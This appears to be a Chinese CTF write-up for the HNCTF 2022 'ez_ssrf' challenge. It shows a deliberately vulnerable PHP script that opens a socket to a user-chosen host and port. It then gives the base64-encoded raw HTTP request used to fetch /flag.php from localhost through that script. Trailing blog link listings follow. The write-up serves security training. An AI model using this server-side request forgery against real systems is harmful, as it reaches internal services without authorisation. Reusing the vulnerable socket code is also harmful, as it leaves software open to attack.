[HNCTF 2022 WEEK2]ez_ssrf

步骤

代码分析

php 复制代码
<?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);  //接受data参数,并base64解码。
$host=$_GET['host'];  //接收host参数
$port=$_GET['port'];    //接收port参数

$fp=fsockopen($host,intval($port),$error,$errstr,30); //建立sock连接
if(!$fp) {
    die();
}
else {
    fwrite($fp,$data);  //往目标服务器写入data
    while(!feof($data)) //接收返回的数据
    {
        echo fgets($fp,128);
    }
    fclose($fp);
}

像服务器写入访问flag.php的请求头,然后接收。

<?php

$out = "GET /flag.php HTTP/1.1\r\n";

$out .= "Host: 127.0.0.1\r\n";

$out .= "Connection: Keep-Alive\r\n\r\n";

echo $out;

echo base64_encode($out)

?>

R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg==

相关推荐
曲幽19 小时前
别再用网页翻译看源码了!你的私人翻译神器LibreTranslate,部署避坑指南来了
python·docker·web·pot·translate·libretranslate·arogstranslate
零零信安6 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
憧憬成为web高手6 天前
l33t-hoster
学习·web安全·网络安全
HackTwoHub6 天前
Sqli-Scanner SQL注入SKILL自动化挖掘SQL注入,零依赖自动化SQL注入挖掘,赏金猎人
数据库·人工智能·sql·web安全·网络安全·自动化·系统安全
爱网络爱Linux6 天前
网络安全与渗透测试实用工具大全
web安全·网络安全·信息安全·cisp-pte·cisp·cissp
xsc-xyc6 天前
用 Tailscale + Syncthing 实现手机、电脑与 NAS 的跨网络文件同步
linux·网络·网络安全·智能手机·电脑
持敬chijing6 天前
Web渗透之SQL注入-常用sql语句
sql·安全·web安全·网络安全
Chengbei116 天前
AISec真正拟人化全自动渗透工具!支持浏览器交互全自动化挖掘,SQL注入、XSS、越权等。
sql·安全·web安全·网络安全·自动化·系统安全·xss
X7x56 天前
深度拆解网络安全“闭环”之王——APPDRR模型
网络安全·网络攻击模型·安全威胁分析·安全架构·appdrr模型
Inhand陈工6 天前
污水泵站PLC数据上云实战:西门子PLC + 映翰通IG502 + DM平台全流程
人工智能·物联网·网络安全·阿里云·信息与通信·iot